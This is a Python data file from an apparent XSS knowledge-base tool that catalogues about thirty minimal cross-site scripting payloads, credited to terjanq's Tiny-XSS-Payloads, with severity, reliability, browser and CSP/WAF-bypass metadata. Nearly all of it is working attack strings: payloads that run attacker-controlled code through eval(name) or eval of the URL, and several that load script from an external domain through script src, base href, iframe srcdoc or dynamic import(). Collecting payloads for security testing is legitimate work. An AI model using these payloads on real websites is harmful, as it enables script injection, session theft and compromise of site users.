#!/usr/bin/env python3

"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-27 UTC
Status: Created
Telegram: https://t.me/EasyProTech

Source: Tiny-XSS-Payloads by terjanq
URL: https://github.com/terjanq/Tiny-XSS-Payloads
Demo: https://tinyxss.terjanq.me
Author: terjanq

Collection of shortest possible XSS payloads for different contexts.
Focus on minimal character count while maintaining functionality.
"""

from ..models import Encoding, PayloadEntry, Reliability, Severity


TERJANQ_TINY_PAYLOADS = {
    # === Base Tag Attacks ===
    "tj-base-href-unicode": PayloadEntry(
        payload="<base/href=//Ǌ.₨>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Base href with unicode domain - requires relative script after sink",
        tags=["terjanq", "tiny", "base", "unicode", "domain"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    # === SVG eval(name) Attacks ===
    "tj-svg-eval-name": PayloadEntry(
        payload="<svg/onload=eval(name)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="SVG eval(name) - reflected XSS with window.name control",
        tags=["terjanq", "tiny", "svg", "eval", "name"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "tj-svg-eval-url": PayloadEntry(
        payload="<svg/onload=eval(`'`+URL)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="SVG eval URL - when you control the URL",
        tags=["terjanq", "tiny", "svg", "eval", "url"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "tj-svg-location-name": PayloadEntry(
        payload="<svg/onload=location=name>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="SVG location=name - no unsafe-eval needed",
        tags=["terjanq", "tiny", "svg", "location", "name"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    # === Nested SVG (innerHTML compatible) ===
    "tj-svg-nested-eval": PayloadEntry(
        payload="<svg><svg/onload=eval(name)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Nested SVG - works in innerHTML even before DOM insertion (Chrome)",
        tags=["terjanq", "tiny", "svg", "nested", "innerhtml", "chrome"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
        browser_support=["chrome"],
    ),
    # === Audio onerror (innerHTML compatible) ===
    "tj-audio-eval-name": PayloadEntry(
        payload="<audio/src/onerror=eval(name)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Audio onerror eval(name) - works in innerHTML before DOM insertion",
        tags=["terjanq", "tiny", "audio", "eval", "innerhtml"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    # === Img onerror (innerHTML compatible) ===
    "tj-img-eval-url": PayloadEntry(
        payload="<img/src/onerror=eval(`'`+URL)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Img onerror eval URL - works in innerHTML before DOM insertion",
        tags=["terjanq", "tiny", "img", "eval", "url", "innerhtml"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    # === External Script ===
    "tj-script-unicode-domain": PayloadEntry(
        payload="<script/src=//Ǌ.₨></script>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="External script with unicode domain",
        tags=["terjanq", "tiny", "script", "external", "unicode"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
    ),
    # === Iframe Attacks ===
    "tj-iframe-src-name": PayloadEntry(
        payload="<iframe/onload=src=top.name>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Iframe src from top.name",
        tags=["terjanq", "tiny", "iframe", "src", "name"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "tj-iframe-eval-url": PayloadEntry(
        payload="<iframe/onload=eval(`'`+URL)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Iframe onload eval URL",
        tags=["terjanq", "tiny", "iframe", "eval", "url"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "tj-iframe-top-frame-name": PayloadEntry(
        payload="<iframe/onload=src=top[0].name+/\\Ǌ.₨?/>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Iframe src from first frame name - constant iframe count",
        tags=["terjanq", "tiny", "iframe", "frame", "name"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
    ),
    "tj-iframe-contentwindow-name": PayloadEntry(
        payload="<iframe/onload=src=contentWindow.name+/\\Ǌ.₨?/>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Iframe src from contentWindow.name - random iframe count",
        tags=["terjanq", "tiny", "iframe", "contentWindow", "name"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
    ),
    "tj-iframe-srcdoc-firefox": PayloadEntry(
        payload='<iframe/srcdoc="<svg><script/href=//Ǌ.₨ />">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Iframe srcdoc with SVG script - Firefox only",
        tags=["terjanq", "tiny", "iframe", "srcdoc", "firefox"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
        browser_support=["firefox"],
    ),
    "tj-iframe-srcdoc-script": PayloadEntry(
        payload='<iframe/srcdoc="<script/src=//Ǌ.₨></script>">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Iframe srcdoc with script - CSP unsafe-inline disabled",
        tags=["terjanq", "tiny", "iframe", "srcdoc", "csp"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
        bypasses=["csp"],
    ),
    # === Style Tag Attacks ===
    "tj-style-onload-eval": PayloadEntry(
        payload="<style/onload=eval(name)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Style onload eval(name) - inline styles allowed",
        tags=["terjanq", "tiny", "style", "onload", "eval"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
    ),
    "tj-style-onload-url": PayloadEntry(
        payload="<style/onload=eval(`'`+URL)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Style onload eval URL - inline styles allowed",
        tags=["terjanq", "tiny", "style", "onload", "url"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
    ),
    "tj-style-onerror-eval": PayloadEntry(
        payload="<style/onerror=eval(name)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Style onerror eval(name) - inline styles blocked",
        tags=["terjanq", "tiny", "style", "onerror", "eval"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
    ),
    # === Dynamic Import Attacks ===
    "tj-svg-import": PayloadEntry(
        payload="<svg/onload=import(/\\\\Ǌ.₨/)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="SVG import() external script - Chrome HTTPS only",
        tags=["terjanq", "tiny", "svg", "import", "es6", "chrome"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
        browser_support=["chrome"],
    ),
    "tj-style-import": PayloadEntry(
        payload="<style/onload=import(/\\\\Ǌ.₨/)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Style import() external script - inline styles allowed, Chrome",
        tags=["terjanq", "tiny", "style", "import", "chrome"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
        browser_support=["chrome"],
    ),
    "tj-iframe-import": PayloadEntry(
        payload="<iframe/onload=import(/\\\\Ǌ.₨/)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Iframe import() external script - Chrome HTTPS",
        tags=["terjanq", "tiny", "iframe", "import", "chrome"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
        browser_support=["chrome"],
    ),
    # === Deprecated but interesting ===
    "tj-iframe-write-url-safari": PayloadEntry(
        payload="<iframe/onload=write(URL)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Iframe write(URL) - Safari only (deprecated)",
        tags=["terjanq", "tiny", "iframe", "write", "safari", "deprecated"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        browser_support=["safari"],
    ),
    "tj-style-write-url-safari": PayloadEntry(
        payload="<style/onload=write(URL)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Style write(URL) - Safari only (deprecated)",
        tags=["terjanq", "tiny", "style", "write", "safari", "deprecated"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        browser_support=["safari"],
    ),
    # === Character Count Optimized ===
    "tj-min-svg-18": PayloadEntry(
        payload="<svg/onload=alert`1`>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Minimal SVG - 20 characters with template literal",
        tags=["terjanq", "tiny", "svg", "minimal", "template"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "tj-min-img-27": PayloadEntry(
        payload="<img src=x onerror=alert`1`>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Minimal img - 27 characters",
        tags=["terjanq", "tiny", "img", "minimal"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    # === Additional Tiny Techniques ===
    "tj-body-onload-min": PayloadEntry(
        payload="<body/onload=alert`1`>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Minimal body onload",
        tags=["terjanq", "tiny", "body", "minimal"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "tj-input-onfocus-min": PayloadEntry(
        payload="<input/onfocus=alert`1`/autofocus>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Minimal input onfocus autofocus",
        tags=["terjanq", "tiny", "input", "autofocus", "minimal"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "tj-details-ontoggle-min": PayloadEntry(
        payload="<details/open/ontoggle=alert`1`>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Minimal details ontoggle",
        tags=["terjanq", "tiny", "details", "minimal"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "tj-marquee-onstart-min": PayloadEntry(
        payload="<marquee/onstart=alert`1`>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Minimal marquee onstart",
        tags=["terjanq", "tiny", "marquee", "minimal"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
        browser_support=["firefox"],
    ),
    "tj-video-onerror-min": PayloadEntry(
        payload="<video/src/onerror=alert`1`>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Minimal video onerror",
        tags=["terjanq", "tiny", "video", "minimal"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "tj-audio-onerror-min": PayloadEntry(
        payload="<audio/src/onerror=alert`1`>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Minimal audio onerror",
        tags=["terjanq", "tiny", "audio", "minimal"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
}
